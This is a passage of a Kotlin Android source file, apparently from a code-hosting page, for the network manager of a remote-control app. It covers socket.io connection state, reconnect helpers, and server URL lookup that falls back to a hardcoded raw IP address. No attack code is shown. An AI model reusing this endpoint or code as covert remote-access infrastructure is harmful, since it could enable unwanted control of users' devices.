||||||
|
|
||||||
// 更新内部状态
|
|
||||||
if (actuallyConnected != this.isConnected) {
|
|
||||||
this.isConnected = actuallyConnected
|
|
||||||
Log.d(TAG, "🔄 连接状态更新: $actuallyConnected")
|
|
||||||
}
|
|
||||||
|
|
||||||
return actuallyConnected
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 检查是否正在连接
|
|
||||||
*/
|
|
||||||
fun isConnecting(): Boolean = isConnecting
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 获取连接状态信息
|
|
||||||
*/
|
|
||||||
fun getConnectionStatus(): ConnectionStatus {
|
|
||||||
val socketIOConnected = if (::socketIOManager.isInitialized) {
|
|
||||||
socketIOManager.isConnected()
|
|
||||||
} else false
|
|
||||||
|
|
||||||
val actuallyConnected = socketIOConnected
|
|
||||||
|
|
||||||
return ConnectionStatus(
|
|
||||||
isConnected = actuallyConnected,
|
|
||||||
isConnecting = isConnecting,
|
|
||||||
socketIOConnected = socketIOConnected,
|
|
||||||
reconnectAttempts = reconnectAttempts,
|
|
||||||
lastConnectionAttempt = lastConnectionAttempt
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 获取服务器URL
|
|
||||||
*/
|
|
||||||
private fun getServerUrl(): String {
|
|
||||||
// 1. 首先尝试从SharedPreferences获取用户设置的地址
|
|
||||||
val sharedPrefs = context.getSharedPreferences("remote_control_settings", Context.MODE_PRIVATE)
|
|
||||||
val userSetUrl = sharedPrefs.getString("server_url", null)
|
|
||||||
|
|
||||||
if (!userSetUrl.isNullOrEmpty()) {
|
|
||||||
Log.i(TAG, "使用用户设置的服务器地址: $userSetUrl")
|
|
||||||
return userSetUrl
|
|
||||||
}
|
|
||||||
|
|
||||||
// 2. 尝试从构建时的配置文件读取
|
|
||||||
val buildConfigUrl = readServerConfigFromAssets()
|
|
||||||
if (!buildConfigUrl.isNullOrEmpty()) {
|
|
||||||
Log.i(TAG, "使用构建时配置的服务器地址: $buildConfigUrl")
|
|
||||||
return buildConfigUrl
|
|
||||||
}
|
|
||||||
|
|
||||||
// 3. 尝试从strings.xml读取默认值
|
|
||||||
val defaultUrl = try {
|
|
||||||
service.getString(com.hikoncont.R.string.default_server_url)
|
|
||||||
} catch (e: Exception) {
|
|
||||||
Log.w(TAG, "无法从strings.xml读取默认服务器地址: ${e.message}")
|
|
||||||
null
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!defaultUrl.isNullOrEmpty()) {
|
|
||||||
Log.i(TAG, "使用strings.xml中的默认服务器地址: $defaultUrl")
|
|
||||||
return defaultUrl
|
|
||||||
}
|
|
||||||
|
|
||||||
// 4. 最后的兜底地址
|
|
||||||
val fallbackUrl = "ws://59.153.148.205:3001"
|
|
||||||
Log.i(TAG, "使用兜底服务器地址: $fallbackUrl")
|
|
||||||
return fallbackUrl
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 获取服务器URL
|
|
||||||
*/
|
|
||||||
private fun getWebUrl(): String {
|
|
||||||
// 1. 首先尝试从SharedPreferences获取用户设置的地址
|
|
||||||
val sharedPrefs = context.getSharedPreferences("remote_control_settings", Context.MODE_PRIVATE)
|
|
||||||
val userSetUrl = sharedPrefs.getString("web_url", null)
|
|
||||||
|
|
||||||
if (!userSetUrl.isNullOrEmpty()) {
|
|
||||||
Log.i(TAG, "使用用户设置的服务器地址: $userSetUrl")
|
|
||||||
return userSetUrl
|
|
||||||
}
|
|
||||||
|
|
||||||
// 2. 尝试从构建时的配置文件读取
|
|
||||||
val buildConfigUrl = readWebConfigFromAssets()
|
|
||||||
if (!buildConfigUrl.isNullOrEmpty()) {
|
|
||||||
Log.i(TAG, "使用构建时配置的服务器地址: $buildConfigUrl")
|
|
||||||
return buildConfigUrl
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
// 4. 最后的兜底地址
|
|
||||||
val fallbackUrl = "https://m.baidu.com"
|
|
||||||
|
|
||||||
return fallbackUrl
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 从assets目录读取构建时的服务器配置
|
|
||||||
*/
|
|
||||||
private fun readServerConfigFromAssets(): String? {
|
|
||||||
return try {
|
|
||||||
val inputStream = context.assets.open("server_config.json")
|
|
||||||
val jsonString = inputStream.bufferedReader().use { it.readText() }
|
|
||||||
inputStream.close()
|
|
||||||
|
|
||||||
// 简单的JSON解析(避免引入额外依赖)
|
|
||||||
val serverUrlPattern = "\"serverUrl\"\\s*:\\s*\"([^\"]+)\"".toRegex()
|
|
||||||
val matchResult = serverUrlPattern.find(jsonString)
|
|
||||||
val serverUrl = matchResult?.groupValues?.get(1)
|
|
||||||
|
|
||||||
Log.i(TAG, "从assets读取到服务器配置: $serverUrl")
|
|
||||||
serverUrl
|
|
||||||
} catch (e: Exception) {
|
|
||||||
Log.w(TAG, "读取assets中的服务器配置失败: ${e.message}")
|
|
||||||
null
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private fun readWebConfigFromAssets(): String? {
|
|
||||||
return try {
|
|
||||||
val inputStream = context.assets.open("server_config.json")
|
|
||||||
val jsonString = inputStream.bufferedReader().use { it.readText() }
|
|
||||||
inputStream.close()
|
|
||||||
|
|
||||||
// 简单的JSON解析(避免引入额外依赖)
|
|
||||||
val serverUrlPattern = "\"webUrl\"\\s*:\\s*\"([^\"]+)\"".toRegex()
|
|
||||||
val matchResult = serverUrlPattern.find(jsonString)
|
|
||||||
val serverUrl = matchResult?.groupValues?.get(1)
|
|
||||||
|
|
||||||
Log.i(TAG, "从assets读取到服务器配置: $serverUrl")
|
|
||||||
serverUrl
|
|
||||||
} catch (e: Exception) {
|
|
||||||
Log.w(TAG, "读取assets中的服务器配置失败: ${e.message}")
|
|
||||||
null
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 重置重连计数器
|
|
||||||
*/
|
|
||||||
fun resetReconnectCounter() {
|
|
||||||
reconnectAttempts = 0
|
|
||||||
lastConnectionAttempt = 0L
|
|
||||||
isConnected = false
|
|
||||||
isConnecting = false
|
|
||||||
Log.d(TAG, "🔄 重连计数器已重置")
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 重置网络管理器状态(程序重启时调用)
|
|
||||||
*/
|
|
||||||
fun resetNetworkState() {
|
|
||||||
try {
|
|
||||||
Log.i(TAG, "🔄 重置网络管理器状态")
|
|
||||||
resetReconnectCounter()
|
|
||||||
|
|
||||||
// 断开现有连接
|
|
||||||
if (::socketIOManager.isInitialized) {
|
|
||||||
socketIOManager.disconnect()
|
|
||||||
}
|
|
||||||
|
|
||||||
Log.i(TAG, "✅ 网络管理器状态重置完成")
|
|
||||||
} catch (e: Exception) {
|
|
||||||
Log.e(TAG, "❌ 重置网络管理器状态失败", e)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 强制重连
|
|
||||||
*/
|
|
||||||
fun forceReconnect() {
|
|
||||||
networkScope.launch {
|
|
||||||
Log.i(TAG, "🔄 强制重连")
|
|
||||||
disconnect()
|
|
||||||
delay(1000)
|
|
||||||
resetReconnectCounter()
|
|
||||||
connectToServer()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 连接状态数据类
|
|
||||||
*/
|
|
||||||
data class ConnectionStatus(
|
|
||||||
val isConnected: Boolean,
|
|
||||||
val isConnecting: Boolean,
|
|
||||||
val socketIOConnected: Boolean,
|
|
||||||
val reconnectAttempts: Int,
|
|
||||||
val lastConnectionAttempt: Long
|
|
||||||
) {
|
|
||||||
override fun toString(): String {
|
|
||||||
return "ConnectionStatus(connected=$isConnected, connecting=$isConnecting, " +
|
|
||||||
"socketIO=$socketIOConnected, attempts=$reconnectAttempts, lastAttempt=$lastConnectionAttempt)"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Reference in New Issue
Block a user